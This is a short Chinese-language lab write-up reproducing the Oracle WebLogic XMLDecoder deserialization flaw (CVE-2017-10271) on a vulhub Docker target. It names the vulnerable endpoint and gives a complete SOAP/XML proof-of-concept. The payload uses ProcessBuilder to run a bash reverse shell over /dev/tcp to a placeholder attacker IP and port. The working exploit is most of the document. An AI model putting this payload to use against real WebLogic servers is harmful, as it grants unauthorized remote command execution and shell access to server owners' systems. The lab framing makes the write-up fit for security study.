Weblogic XMLDecoder 远程代码执行漏洞复现 (CVE-2017-10271)
漏洞原理
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞触发位置:wls-wsat.war
漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)
漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
参考文章:
https://blog.csdn.net/he_and/article/details/90582262
https://blog.csdn.net/weixin_45694388/article/details/118601788
漏洞复现
环境:
docker环境下vulhub靶场
-
打开靶场环境
报404 ,没有网页,找到存在漏洞的网页 -
由于触发漏洞的url为:/wls-wsat/CoordinatorPortType
于是访问 http://192.168.2.137:7001//wls-wsat/CoordinatorPortType
-
抓包, 构造SOAP(XML)格式的请求,更改请求为post,请求头中修改Content-Type的对应值为text/xml POST 内容为以下poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
复现成功。